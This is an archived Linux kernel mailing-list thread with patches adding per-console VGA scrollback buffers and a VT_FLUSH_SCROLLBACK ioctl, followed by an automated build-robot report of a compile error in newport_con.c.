diff --git a/drivers/video/console/vgacon.c b/drivers/video/console/vga=
con.c
index 517f565..6c0b9ba 100644
--- a/drivers/video/console/vgacon.c
+++ b/drivers/video/console/vgacon.c
@@ -1,5 +1,5 @@
 /*
- *  linux/drivers/video/vgacon.c -- Low level VGA based console driver
+ *  linux/drivers/video/console/vgacon.c -- Low level VGA based consol=
e driver
  *
  *	Created 28 Sep 1997 by Geert Uytterhoeven
  *
@@ -106,12 +106,12 @@ static unsigned char	vga_hardscroll_enabled	__rea=
d_mostly;
 static unsigned char	vga_hardscroll_user_enable __read_mostly =3D 1;
 static unsigned char	vga_font_is_default =3D 1;
 static int		vga_vesa_blanked;
-static int 		vga_palette_blanked;
-static int 		vga_is_gfx;
-static int 		vga_512_chars;
-static int 		vga_video_font_height;
-static int 		vga_scan_lines		__read_mostly;
-static unsigned int 	vga_rolled_over;
+static int		vga_palette_blanked;
+static int		vga_is_gfx;
+static int		vga_512_chars;
+static int		vga_video_font_height;
+static int		vga_scan_lines		__read_mostly;
+static unsigned int	vga_rolled_over;
=20
 static int vgacon_text_mode_force;
=20
@@ -182,70 +182,125 @@ static inline void vga_set_mem_top(struct vc_dat=
a *c)
=20
 #ifdef CONFIG_VGACON_SOFT_SCROLLBACK
 /* software scrollback */
-static void *vgacon_scrollback;
-static int vgacon_scrollback_tail;
-static int vgacon_scrollback_size;
-static int vgacon_scrollback_rows;
-static int vgacon_scrollback_cnt;
-static int vgacon_scrollback_cur;
-static int vgacon_scrollback_save;
-static int vgacon_scrollback_restore;
-
-static void vgacon_scrollback_init(int pitch)
+struct vgacon_scrollback_info {
+	void *data;
+	int tail;
+	int size;
+	int rows;
+	int cnt;
+	int cur;
+	int save;
+	int restore;
+};
+static struct vgacon_scrollback_info *vgacon_scrollback_cur;
+#ifdef CONFIG_VGACON_SOFT_SCROLLBACK_FOR_EACH_CONSOLE
+static struct vgacon_scrollback_info vgacon_scrollbacks[MAX_NR_CONSOLE=
S];
+#else
+static struct vgacon_scrollback_info vgacon_scrollbacks[1];
+#endif
+
+static void vgacon_scrollback_reset(size_t reset_size)
 {
-	int rows =3D CONFIG_VGACON_SOFT_SCROLLBACK_SIZE * 1024/pitch;
-
-	if (vgacon_scrollback) {
-		vgacon_scrollback_cnt  =3D 0;
-		vgacon_scrollback_tail =3D 0;
-		vgacon_scrollback_cur  =3D 0;
-		vgacon_scrollback_rows =3D rows - 1;
-		vgacon_scrollback_size =3D rows * pitch;
+	if (vgacon_scrollback_cur->data && reset_size > 0)
+		memset(vgacon_scrollback_cur->data, 0, reset_size);
+
+	vgacon_scrollback_cur->cnt  =3D 0;
+	vgacon_scrollback_cur->tail =3D 0;
+	vgacon_scrollback_cur->cur  =3D 0;
+}
+
+static void vgacon_scrollback_init(int vc_num)
+{
+	int pitch =3D vga_video_num_columns * 2;
+	size_t size =3D CONFIG_VGACON_SOFT_SCROLLBACK_SIZE * 1024;
+	int rows =3D size/pitch;
+	void *data;
+
+	data =3D kcalloc(CONFIG_VGACON_SOFT_SCROLLBACK_SIZE, 1024, GFP_NOWAIT=
);
+	if (data) {
+		vgacon_scrollbacks[vc_num].data =3D data;
+		vgacon_scrollback_cur =3D &vgacon_scrollbacks[vc_num];
+
+		vgacon_scrollback_cur->rows =3D rows - 1;
+		vgacon_scrollback_cur->size =3D rows * pitch;
+
+		vgacon_scrollback_reset(0);
+	} else {
+		pr_warn("VGAcon: failed to allocate memory for scrollback. Trying to=
 reuse previous buffer.\n");
+		/* Leave vgacon_scrollback_cur untouched but reset its content */
+		vgacon_scrollback_reset(size);
 	}
 }
=20
+static void vgacon_switch_scrollback(int vc_num)
+{
+#ifdef CONFIG_VGACON_SOFT_SCROLLBACK_FOR_EACH_CONSOLE
+	if (!vgacon_scrollbacks[vc_num].data)
+		vgacon_scrollback_init(vc_num);
+	else
+		vgacon_scrollback_cur =3D &vgacon_scrollbacks[vc_num];
+#else
+	vc_num =3D 0;
+
+	if (!vgacon_scrollbacks[vc_num].data)
+		vgacon_scrollback_init(vc_num);
+	else {
+		size_t size =3D CONFIG_VGACON_SOFT_SCROLLBACK_SIZE * 1024;
+
+		vgacon_scrollback_reset(size);
+	}
+#endif
+}
+
 static void vgacon_scrollback_startup(void)
 {
-	vgacon_scrollback =3D kcalloc(CONFIG_VGACON_SOFT_SCROLLBACK_SIZE, 102=
4, GFP_NOWAIT);
-	vgacon_scrollback_init(vga_video_num_columns * 2);
+	int i;
+
+	for (i =3D 0; i < ARRAY_SIZE(vgacon_scrollbacks); ++i)
+		vgacon_scrollbacks[i].data =3D NULL;
+
+	vgacon_scrollback_cur =3D &vgacon_scrollbacks[0];
+	vgacon_scrollback_init(0);
 }
=20
 static void vgacon_scrollback_update(struct vc_data *c, int t, int cou=
nt)
 {
 	void *p;
=20
-	if (!vgacon_scrollback_size || c->vc_num !=3D fg_console)
+	if (!vgacon_scrollback_cur->data || !vgacon_scrollback_cur->size)
 		return;
=20
 	p =3D (void *) (c->vc_origin + t * c->vc_size_row);
=20
 	while (count--) {
-		scr_memcpyw(vgacon_scrollback + vgacon_scrollback_tail,
+		scr_memcpyw(vgacon_scrollback_cur->data +
+			    vgacon_scrollback_cur->tail,
 			    p, c->vc_size_row);
-		vgacon_scrollback_cnt++;
+
+		vgacon_scrollback_cur->cnt++;
 		p +=3D c->vc_size_row;
-		vgacon_scrollback_tail +=3D c->vc_size_row;
+		vgacon_scrollback_cur->tail +=3D c->vc_size_row;
=20
-		if (vgacon_scrollback_tail >=3D vgacon_scrollback_size)
-			vgacon_scrollback_tail =3D 0;
+		if (vgacon_scrollback_cur->tail >=3D vgacon_scrollback_cur->size)
+			vgacon_scrollback_cur->tail =3D 0;
=20
-		if (vgacon_scrollback_cnt > vgacon_scrollback_rows)
-			vgacon_scrollback_cnt =3D vgacon_scrollback_rows;
+		if (vgacon_scrollback_cur->cnt > vgacon_scrollback_cur->rows)
+			vgacon_scrollback_cur->cnt =3D vgacon_scrollback_cur->rows;
=20
-		vgacon_scrollback_cur =3D vgacon_scrollback_cnt;
+		vgacon_scrollback_cur->cur =3D vgacon_scrollback_cur->cnt;
 	}
 }
=20
 static void vgacon_restore_screen(struct vc_data *c)
 {
-	vgacon_scrollback_save =3D 0;
+	vgacon_scrollback_cur->save =3D 0;
=20
-	if (!vga_is_gfx && !vgacon_scrollback_restore) {
+	if (!vga_is_gfx && !vgacon_scrollback_cur->restore) {
 		scr_memcpyw((u16 *) c->vc_origin, (u16 *) c->vc_screenbuf,
 			    c->vc_screenbuf_size > vga_vram_size ?
 			    vga_vram_size : c->vc_screenbuf_size);
-		vgacon_scrollback_restore =3D 1;
-		vgacon_scrollback_cur =3D vgacon_scrollback_cnt;
+		vgacon_scrollback_cur->restore =3D 1;
+		vgacon_scrollback_cur->cur =3D vgacon_scrollback_cur->cnt;
 	}
 }
=20
@@ -259,41 +314,41 @@ static int vgacon_scrolldelta(struct vc_data *c, =
int lines)
 		return 1;
 	}
=20
-	if (!vgacon_scrollback)
+	if (!vgacon_scrollback_cur->data)
 		return 1;
=20
-	if (!vgacon_scrollback_save) {
+	if (!vgacon_scrollback_cur->save) {
 		vgacon_cursor(c, CM_ERASE);
 		vgacon_save_screen(c);
-		vgacon_scrollback_save =3D 1;
+		vgacon_scrollback_cur->save =3D 1;
 	}
=20
-	vgacon_scrollback_restore =3D 0;
-	start =3D vgacon_scrollback_cur + lines;
+	vgacon_scrollback_cur->restore =3D 0;
+	start =3D vgacon_scrollback_cur->cur + lines;
 	end =3D start + abs(lines);
=20
 	if (start < 0)
 		start =3D 0;
=20
-	if (start > vgacon_scrollback_cnt)
-		start =3D vgacon_scrollback_cnt;
+	if (start > vgacon_scrollback_cur->cnt)
+		start =3D vgacon_scrollback_cur->cnt;
=20
 	if (end < 0)
 		end =3D 0;
=20
-	if (end > vgacon_scrollback_cnt)
-		end =3D vgacon_scrollback_cnt;
+	if (end > vgacon_scrollback_cur->cnt)
+		end =3D vgacon_scrollback_cur->cnt;
=20
-	vgacon_scrollback_cur =3D start;
+	vgacon_scrollback_cur->cur =3D start;
 	count =3D end - start;
-	soff =3D vgacon_scrollback_tail - ((vgacon_scrollback_cnt - end) *
-					 c->vc_size_row);
+	soff =3D vgacon_scrollback_cur->tail;
+	soff -=3D ((vgacon_scrollback_cur->cnt - end) * c->vc_size_row);
 	soff -=3D count * c->vc_size_row;
=20
 	if (soff < 0)
-		soff +=3D vgacon_scrollback_size;
+		soff +=3D vgacon_scrollback_cur->size;
=20
-	count =3D vgacon_scrollback_cnt - start;
+	count =3D vgacon_scrollback_cur->cnt - start;
=20
 	if (count > c->vc_rows)
 		count =3D c->vc_rows;
@@ -307,13 +362,13 @@ static int vgacon_scrolldelta(struct vc_data *c, =
int lines)
=20
 		count *=3D c->vc_size_row;
 		/* how much memory to end of buffer left? */
-		copysize =3D min(count, vgacon_scrollback_size - soff);
-		scr_memcpyw(d, vgacon_scrollback + soff, copysize);
+		copysize =3D min(count, vgacon_scrollback_cur->size - soff);
+		scr_memcpyw(d, vgacon_scrollback_cur->data + soff, copysize);
 		d +=3D copysize;
 		count -=3D copysize;
=20
 		if (count) {
-			scr_memcpyw(d, vgacon_scrollback, count);
+			scr_memcpyw(d, vgacon_scrollback_cur->data, count);
 			d +=3D count;
 		}
=20
@@ -328,6 +383,7 @@ static int vgacon_scrolldelta(struct vc_data *c, in=
t lines)
 #define vgacon_scrollback_startup(...) do { } while (0)
 #define vgacon_scrollback_init(...)    do { } while (0)
 #define vgacon_scrollback_update(...)  do { } while (0)
+#define vgacon_switch_scrollback(...)  do { } while (0)
=20
 static void vgacon_restore_screen(struct vc_data *c)
 {
@@ -843,7 +899,7 @@ static int vgacon_switch(struct vc_data *c)
 			vgacon_doresize(c, c->vc_cols, c->vc_rows);
 	}
=20
-	vgacon_scrollback_init(c->vc_size_row);
+	vgacon_switch_scrollback(c->vc_num);
 	return 0;		/* Redrawing not needed */
 }
=20
--=20
2.1.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?UTF-8?q?Manuel=20Sch=C3=B6lling?= <manuel.schoelling@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.usb.general,gmane.linux.ports.parisc
Subject: [PATCH 2/2] console: Add ioctl for flushing the scrollback buffer
Date: Mon, 18 Apr 2016 21:56:58 +0200
Lines: 217
Approved: news@gmane.org
Message-ID: <1461009418-1795-3-git-send-email-manuel.schoelling@gmx.de>
References: <1461009418-1795-1-git-send-email-manuel.schoelling@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1461009515 14892 80.91.229.3 (18 Apr 2016 19:58:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Apr 2016 19:58:35 +0000 (UTC)
Cc: jslaby@suse.com, thomas@winischhofer.net, plagnioj@jcrosoft.com,
	tomi.valkeinen@ti.com, jejb@parisc-linux.org, deller@gmx.de,
	manuel.schoelling@gmx.de, sfr@canb.auug.org.au,
	linux-kernel@vger.kernel.org, linux-usb@vger.kernel.org,
	linux-fbdev@vger.kernel.org, linux-parisc@vger.kernel.org
To: gregkh@linuxfoundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Apr 18 21:58:26 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1asFJQ-0006ru-UE
	for glk-linux-kernel-3@plane.gmane.org; Mon, 18 Apr 2016 21:58:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752316AbcDRT6G convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 18 Apr 2016 15:58:06 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:54487 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751126AbcDRT6D (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Mon, 18 Apr 2016 15:58:03 -0400
Original-Received: from schoellingm.dzne.de ([37.201.194.187]) by mail.gmx.com
 (mrgmx102) with ESMTPSA (Nemesis) id 0MKKaI-1arh3p0AFy-001fsL; Mon, 18 Apr
 2016 21:57:11 +0200
X-Mailer: git-send-email 2.1.4
In-Reply-To: <1461009418-1795-1-git-send-email-manuel.schoelling@gmx.de>
X-Provags-ID: V03:K0:ef4oYDY0YeY7/CCHW+afIrLpGpj7Bu7CEuuVn/CgsWaSXM8JIeT
 wFsw7KAXcQCnkvIG5WXBqThuCpDntUuhhU6EweDb548zjI/oP+GYlRkRbNsaTAjueNSkB6m
 itkA+I/fYHyI0dCiH3yMPBGAKVGDl1iavzXrFJaafeVUO7fZCWEIrPKCfzgSxOwMKb+3KUC
 uxYU4ai7AeP7Dl2NUOPBA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:4pJkZomzs4s=:MoFnkshfaectwitMNA5EwO
 JhKfwEKBiyGFZYrLo673ZrQg8VjfBbuwSfr5Js+hYlfJnMLkucZA1LBZyoVsCFVBjzivlaamD
 jQv4cGRIFfW5/0BU7gwE/enqG1UCP8DyLbyPPXGZ+PIZzttwQvgNFX7x0QB/eRVR9GuS6nJDs
 OX4kcSt4VPku5tKyqHhrMivp83Te4GSjr04LVjwK6HgrMpoAomrgXTDEuJiz/xp6Pv3jmM9yW
 hz/J9vZ2eecvaCYsV7Pp+dbdBUgsd56juE8pB1YtdlZxAtuiLsH9qyHeoZBdSUrGYM0IFIftJ
 A8f+ZFN/Lbx1vHA1WLvqcs77zZPWStPYHtAYY19HXLKQlR5d4HVVIi9TwoFnSbtYNJypBjAW6
 VRQrarbs5q0Yep4WpfNPrL+ZXVKh45ziezoh7yxCELYBtb2rxyDj+glR+6NGOaoc/xySXaQv4
 pUX+6yfeC8T4o5S59qNt2XzF4zBnlZl7RxyL9ccEgKf3A0AZ4+GFUcybWeSVYZ5q+kAHnGASk
 dX0Va+UEm2QowUWnptgHDRlWrDq2CITjYYzUVOCtinNjKzlIFpLtPUarnY+WC3eRSvFGTC4ce
 1Wmu9/yK3rSd1zjvVxW0alWcEYx/TKfVmu8ZjqTofpFdt/3Nvvnl4Csq0xBJdWqqamRY1Opr7
 iu9OFbxXFSFEn1KNTHxLu2lTG2r9lPEviKbfO4i2IHXyoRx2kmhXV+IvgtcSypG93aRMJWKga
 xna+OSFzvaEo8IuYqD5OwMbcOBFDXFHemqguTQxhbS68OelgdjYSinr6b73NefVDYqX+OPho 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2202056 gmane.linux.usb.general:140581 gmane.linux.ports.parisc:26654
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2202056>

Tools like clear_console rely on the fact that scrollback history is
flushed when switching back and forth between consoles.
Persistent scrollback buffers for each console breaks this, so this
patch adds a ioctl() callf for flushing the scrollback history.

Signed-off-by: Manuel Sch=C3=B6lling <manuel.schoelling@gmx.de>
---
 drivers/tty/vt/vt_ioctl.c               | 20 ++++++++++++++++++++
 drivers/usb/misc/sisusbvga/sisusb_con.c |  1 +
 drivers/video/console/dummycon.c        |  1 +
 drivers/video/console/mdacon.c          |  6 ++++++
 drivers/video/console/newport_con.c     |  1 +
 drivers/video/console/sticon.c          |  7 +++++++
 drivers/video/console/vgacon.c          | 23 +++++++++++++++++++++++
 include/linux/console.h                 |  1 +
 include/uapi/linux/vt.h                 |  1 +
 9 files changed, 61 insertions(+)

diff --git a/drivers/tty/vt/vt_ioctl.c b/drivers/tty/vt/vt_ioctl.c
index 97d5a74..18adc23 100644
--- a/drivers/tty/vt/vt_ioctl.c
+++ b/drivers/tty/vt/vt_ioctl.c
@@ -903,6 +903,26 @@ int vt_ioctl(struct tty_struct *tty,
 		break;
 	}
=20
+	/*
+	 * flush the specified VT's scollback buffer
+	 */
+	case VT_FLUSH_SCROLLBACK: {
+		if (!perm)
+			return -EPERM;
+		if (arg =3D=3D 0 || arg > MAX_NR_CONSOLES)
+			ret =3D -ENXIO;
+		else {
+			struct vc_data *data =3D vc_cons[arg-1].d;
+
+			if (!data)
+				ret =3D -ENXIO;
+			else
+				ret =3D data->vc_sw->con_flush_scrollback(data);
+		}
+
+		break;
+	}
+
 	case PIO_FONT: {
 		if (!perm)
 			return -EPERM;
diff --git a/drivers/usb/misc/sisusbvga/sisusb_con.c b/drivers/usb/misc=
/sisusbvga/sisusb_con.c
index ace3430..cc5fc10 100644
--- a/drivers/usb/misc/sisusbvga/sisusb_con.c
+++ b/drivers/usb/misc/sisusbvga/sisusb_con.c
@@ -1442,6 +1442,7 @@ static const struct consw sisusb_dummy_con =3D {
 	.con_font_copy =3D	SISUSBCONDUMMY,
 	.con_set_palette =3D	SISUSBCONDUMMY,
 	.con_scrolldelta =3D	SISUSBCONDUMMY,
+	.con_flush_scrollback =3D SISUSBCONDUMMY,
 };
=20
 int
diff --git a/drivers/video/console/dummycon.c b/drivers/video/console/d=
ummycon.c
index 0efc52f..d2888e5 100644
--- a/drivers/video/console/dummycon.c
+++ b/drivers/video/console/dummycon.c
@@ -73,5 +73,6 @@ const struct consw dummy_con =3D {
     .con_font_copy =3D	DUMMY,
     .con_set_palette =3D	DUMMY,
     .con_scrolldelta =3D	DUMMY,
+    .con_flush_scrollback =3D DUMMY,
 };
 EXPORT_SYMBOL_GPL(dummy_con);
diff --git a/drivers/video/console/mdacon.c b/drivers/video/console/mda=
con.c
index 296e945..10ebcbe 100644
--- a/drivers/video/console/mdacon.c
+++ b/drivers/video/console/mdacon.c
@@ -510,6 +510,11 @@ static int mdacon_scrolldelta(struct vc_data *c, i=
nt lines)
 	return 0;
 }
=20
+static int mdacon_flush_scrollback(struct vc_data *c)
+{
+	return 0;
+}
+
 static void mdacon_cursor(struct vc_data *c, int mode)
 {
 	if (mode =3D=3D CM_ERASE) {
@@ -579,6 +584,7 @@ static const struct consw mda_con =3D {
 	.con_blank =3D		mdacon_blank,
 	.con_set_palette =3D	mdacon_set_palette,
 	.con_scrolldelta =3D	mdacon_scrolldelta,
+	.con_flush_scrollback =3D	mdacon_flush_scrollback,
 	.con_build_attr =3D	mdacon_build_attr,
 	.con_invert_region =3D	mdacon_invert_region,
 };
diff --git a/drivers/video/console/newport_con.c b/drivers/video/consol=
e/newport_con.c
index bb4e962..d04183c 100644
--- a/drivers/video/console/newport_con.c
+++ b/drivers/video/console/newport_con.c
@@ -738,6 +738,7 @@ const struct consw newport_con =3D {
 	.con_scrolldelta  =3D newport_scrolldelta,
 	.con_set_origin	  =3D DUMMY,
 	.con_save_screen  =3D DUMMY
+	.con_flush_scrollback =3D DUMMY,
 };
=20
 static int newport_probe(struct gio_device *dev,
diff --git a/drivers/video/console/sticon.c b/drivers/video/console/sti=
con.c
index 026fd12..46046d6 100644
--- a/drivers/video/console/sticon.c
+++ b/drivers/video/console/sticon.c
@@ -345,6 +345,12 @@ static void sticon_save_screen(struct vc_data *con=
p)
 {
 }
=20
+static int sticon_flush_scrollback(struct vc_data *c)
+{
+	return 0;
+}
+
+
 static const struct consw sti_con =3D {
 	.owner			=3D THIS_MODULE,
 	.con_startup		=3D sticon_startup,
@@ -360,6 +366,7 @@ static const struct consw sti_con =3D {
 	.con_blank		=3D sticon_blank,
 	.con_set_palette	=3D sticon_set_palette,
 	.con_scrolldelta	=3D sticon_scrolldelta,
+	.con_flush_scrollback	=3D sticon_flush_scrollback,
 	.con_set_origin		=3D sticon_set_origin,
 	.con_save_screen	=3D sticon_save_screen,=20
 	.con_build_attr		=3D sticon_build_attr,
diff --git a/drivers/video/console/vgacon.c b/drivers/video/console/vga=
con.c
index 6c0b9ba..b5ea94f 100644
--- a/drivers/video/console/vgacon.c
+++ b/drivers/video/console/vgacon.c
@@ -379,12 +379,34 @@ static int vgacon_scrolldelta(struct vc_data *c, =
int lines)
=20
 	return 1;
 }
+
+/* flush the scrollback buffer of a console */
+static int vgacon_flush_scrollback(struct vc_data *c)
+{
+	size_t size =3D CONFIG_VGACON_SOFT_SCROLLBACK_SIZE * 1024;
+	struct vgacon_scrollback_info *vgacon_scrollback_prev;
+
+	vgacon_scrollback_prev =3D vgacon_scrollback_cur;
+	vgacon_scrollback_cur =3D &vgacon_scrollbacks[c->vc_num];
+
+	if (vgacon_scrollback_cur !=3D NULL)
+		vgacon_scrollback_reset(size);
+
+	vgacon_scrollback_cur =3D vgacon_scrollback_prev;
+
+	return 0;
+}
 #else
 #define vgacon_scrollback_startup(...) do { } while (0)
 #define vgacon_scrollback_init(...)    do { } while (0)
 #define vgacon_scrollback_update(...)  do { } while (0)
 #define vgacon_switch_scrollback(...)  do { } while (0)
=20
+static int vgacon_flush_scrollback(struct vc_data *c)
+{
+	return 0;
+}
+
 static void vgacon_restore_screen(struct vc_data *c)
 {
 	if (c->vc_origin !=3D c->vc_visible_origin)
@@ -1492,6 +1514,7 @@ const struct consw vga_con =3D {
 	.con_resize =3D vgacon_resize,
 	.con_set_palette =3D vgacon_set_palette,
 	.con_scrolldelta =3D vgacon_scrolldelta,
+	.con_flush_scrollback =3D vgacon_flush_scrollback,
 	.con_set_origin =3D vgacon_set_origin,
 	.con_save_screen =3D vgacon_save_screen,
 	.con_build_attr =3D vgacon_build_attr,
diff --git a/include/linux/console.h b/include/linux/console.h
index e49cc1e..946ff20 100644
--- a/include/linux/console.h
+++ b/include/linux/console.h
@@ -49,6 +49,7 @@ struct consw {
 			       unsigned int);
 	int	(*con_set_palette)(struct vc_data *, unsigned char *);
 	int	(*con_scrolldelta)(struct vc_data *, int);
+	int	(*con_flush_scrollback)(struct vc_data *);
 	int	(*con_set_origin)(struct vc_data *);
 	void	(*con_save_screen)(struct vc_data *);
 	u8	(*con_build_attr)(struct vc_data *, u8, u8, u8, u8, u8, u8);
diff --git a/include/uapi/linux/vt.h b/include/uapi/linux/vt.h
index 978578b..b799541 100644
--- a/include/uapi/linux/vt.h
+++ b/include/uapi/linux/vt.h
@@ -83,5 +83,6 @@ struct vt_setactivate {
 };
=20
 #define VT_SETACTIVATE	0x560F	/* Activate and set the mode of a consol=
e */
+#define VT_FLUSH_SCROLLBACK	0x5610	/* Flush the scrollback buffer */
=20
 #endif /* _UAPI_LINUX_VT_H */
--=20
2.1.4



From - Thu Nov 08 21:38:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kbuild test robot <lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.usb.general,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 2/2] console: Add ioctl for flushing the scrollback buffer
Date: Tue, 19 Apr 2016 04:16:46 +0800
Lines: 823
Approved: news@gmane.org
Message-ID: <201604190434.0ZaNGHps%fengguang.wu@intel.com>
References: <1461009418-1795-3-git-send-email-manuel.schoelling@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="5vNYLRcllDrimb99"
X-Trace: ger.gmane.org 1461010719 1417 80.91.229.3 (18 Apr 2016 20:18:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Apr 2016 20:18:39 +0000 (UTC)
Cc: kbuild-all-JC7UmRfGjtg@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org, jslaby-IBi9RG/b67k@public.gmane.org,
	thomas-8tQO0IXuy4gnETEX8uN03g@public.gmane.org, plagnioj-sclMFOaUSTBWk0Htik3J/w@public.gmane.org,
	tomi.valkeinen-l0cyMroinI0@public.gmane.org, jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org, deller-Mmb7MZpHnFY@public.gmane.org,
	manuel.schoelling-Mmb7MZpHnFY@public.gmane.org, sfr-3FnU+UHB4dNDw9hX6IcOSA@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-fbdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Manuel =?iso-8859-1?Q?Sch=F6lling?= <manuel.schoelling-Mmb7MZpHnFY@public.gmane.org>
Original-X-From: linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Mon Apr 18 22:18:32 2016
Return-path: <linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glug-linux-usb-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1asFct-0008Lp-TS
	for glug-linux-usb-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Mon, 18 Apr 2016 22:18:32 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752231AbcDRUSa (ORCPT <rfc822;glug-linux-usb@m.gmane.org>);
	Mon, 18 Apr 2016 16:18:30 -0400
Original-Received: from mga04.intel.com ([192.55.52.120]:10029 "EHLO mga04.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751695AbcDRUS3 (ORCPT <rfc822;linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Mon, 18 Apr 2016 16:18:29 -0400
Original-Received: from orsmga003.jf.intel.com ([10.7.209.27])
  by fmsmga104.fm.intel.com with ESMTP; 18 Apr 2016 13:18:27 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.24,503,1455004800"; 
   d="gz'50?scan'50,208,50";a="787430097"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by orsmga003.jf.intel.com with ESMTP; 18 Apr 2016 13:18:13 -0700
Original-Received: from kbuild by bee with local (Exim 4.83)
	(envelope-from <fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>)
	id 1asFcV-000NOv-Ba; Tue, 19 Apr 2016 04:18:07 +0800
Content-Disposition: inline
In-Reply-To: <1461009418-1795-3-git-send-email-manuel.schoelling-Mmb7MZpHnFY@public.gmane.org>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-usb.vger.kernel.org>
X-Mailing-List: linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.usb.general:140582 gmane.linux.kernel:2202069 gmane.linux.ports.parisc:26655
Archived-At: <http://permalink.gmane.org/gmane.linux.usb.general/140582>


--5vNYLRcllDrimb99
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Manuel,

[auto build test ERROR on usb/usb-testing]
[also build test ERROR on v4.6-rc4 next-20160418]
[if your patch is applied to the wrong git tree, please drop us a note to help improving the system]

url:    https://github.com/0day-ci/linux/commits/Manuel-Sch-lling/Persistent-scrollback-buffers-for-all-VGA-consoles/20160419-040228
base:   https://git.kernel.org/pub/scm/linux/kernel/git/gregkh/usb.git usb-testing
config: mips-allyesconfig (attached as .config)
reproduce:
        wget https://git.kernel.org/cgit/linux/kernel/git/wfg/lkp-tests.git/plain/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        make.cross ARCH=mips 

All errors (new ones prefixed by >>):

>> drivers/video/console/newport_con.c:741:2: error: request for member 'con_flush_scrollback' in something not a structure or union
     .con_flush_scrollback = DUMMY,
     ^

vim +/con_flush_scrollback +741 drivers/video/console/newport_con.c

   735		.con_font_set	  = newport_font_set,
   736		.con_font_default = newport_font_default,
   737		.con_set_palette  = newport_set_palette,
   738		.con_scrolldelta  = newport_scrolldelta,
   739		.con_set_origin	  = DUMMY,
   740		.con_save_screen  = DUMMY
 > 741		.con_flush_scrollback = DUMMY,
   742	};
   743	
   744	static int newport_probe(struct gio_device *dev,

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--5vNYLRcllDrimb99
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

H4sICJU/FVcAAy5jb25maWcAlFxbc9y2kn7Pr5hy9uGcqpNYN4+d3dIDSGJmkCEJmgBHI72w
ZHniqI4seSU5J/n32w3ecGlwsnlwzP4at0ajb8D4xx9+XLDvr09fb1/v724fHv5afDk8Hp5v
Xw+fF7/dPxz+Z5HJRSn1gmdC/wzM+f3j9z/ffr3/9rK4+Hn588lPz3cXi+3h+fHwsEifHn+7
